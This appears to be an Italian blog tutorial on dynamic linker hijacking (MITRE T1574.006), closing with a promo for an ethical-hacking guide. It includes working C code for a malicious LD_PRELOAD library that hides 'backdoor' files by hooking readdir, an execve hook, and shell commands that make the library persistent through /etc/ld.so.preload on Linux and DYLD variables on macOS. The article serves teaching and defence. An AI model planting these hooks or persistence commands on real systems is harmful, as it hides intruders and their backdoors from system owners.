Hijacking del Dynamic Linker: Dynamic Linker Hijacking (T1574.006)
Il dynamic linker hijacking rappresenta una tecnica sofisticata che sfrutta le variabili d'ambiente utilizzate dal linker dinamico per caricare librerie condivise malevole. Durante la fase di preparazione all'esecuzione, il sistema operativo consulta variabili come LD_PRELOAD su Linux o DYLD_INSERT_LIBRARIES su macOS per determinare quali librerie caricare con priorità rispetto a quelle di sistema.
Questa tecnica si manifesta in tre tattiche della kill chain: Persistence (TA0003) quando gli attaccanti mantengono l'accesso modificando configurazioni permanenti, Privilege Escalation (TA0004) sfruttando processi privilegiati che ereditano le variabili manipolate, e Defense Evasion (TA0005) nascondendo artefatti attraverso l'hooking di funzioni di sistema. L'impatto è significativo: 3 gruppi APT documentati utilizzano attivamente questa tecnica, insieme a 6 famiglie di malware conosciute.
La potenza di questo approccio risiede nella sua capacità di intercettare qualsiasi chiamata a funzione di sistema. Quando un processo chiama execve, per esempio, viene eseguita la versione malevola contenuta nella libreria iniettata anziché quella legittima, permettendo agli attaccanti di nascondere processi, connessioni di rete e file dal rilevamento.
Per comprendere l'efficacia di questa tecnica, iniziamo creando una libreria malevola che intercetta la funzione readdir. Questa dimostrazione nasconde file specifici dai comandi di listing:
// evil_lib.c - Compila con: gcc -shared -fPIC evil_lib.c -o evil.so
#include <dlfcn.h>
#include <dirent.h>
struct dirent *readdir(DIR *dirp) {
struct dirent *(*original_readdir)(DIR *) = dlsym(RTLD_NEXT, "readdir");
struct dirent *dir;
while ((dir = original_readdir(dirp)) != NULL) {
if (strstr(dir->d_name, "backdoor") == NULL) return dir;
}
return NULL;
}
L'iniezione su Linux avviene attraverso LD_PRELOAD:
export LD_PRELOAD=/tmp/evil.so
Per rendere persistente l'hijacking, APT41 e Rocke modificano /etc/ld.so.preload. Questo file viene consultato automaticamente dal linker per ogni nuovo processo:
echo "/tmp/evil.so" >> /etc/ld.so.preload
Su macOS, la tecnica sfrutta variabili diverse. XCSSET utilizza questo approccio modificando:
export DYLD_INSERT_LIBRARIES=/tmp/evil.dylib export DYLD_LIBRARY_PATH=/tmp:$DYLD_LIBRARY_PATH
Per testare l'hooking di execve e nascondere processi, create una libreria che intercetta questa syscall fondamentale. Ebury implementa hooks su system, popen, e tutte le varianti di exec per iniettarsi nei sottoprocessi SSH:
int execve(const char *pathname, char *const argv[], char *const envp[]) {
int (*original_execve)(const char*, char*const[], char*const[]) = dlsym(RTLD_NEXT, "execve");
// Log o modifica parametri prima dell'esecuzione
return original_execve(pathname, argv, envp);
}
Aquatic Panda dimostra una variante avanzata modificando direttamente ld.so per caricare il malware Winnti. Questa tecnica sopravvive anche quando LD_PRELOAD viene rimosso dall'ambiente.
Per simulare l'attacco di HiddenWasp, che aggiunge se stesso come shared object:
cp malware.so /lib/x86_64-linux-gnu/libprocesshider.so echo "/lib/x86_64-linux-gnu/libprocesshider.so" > /etc/ld.so.preload
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo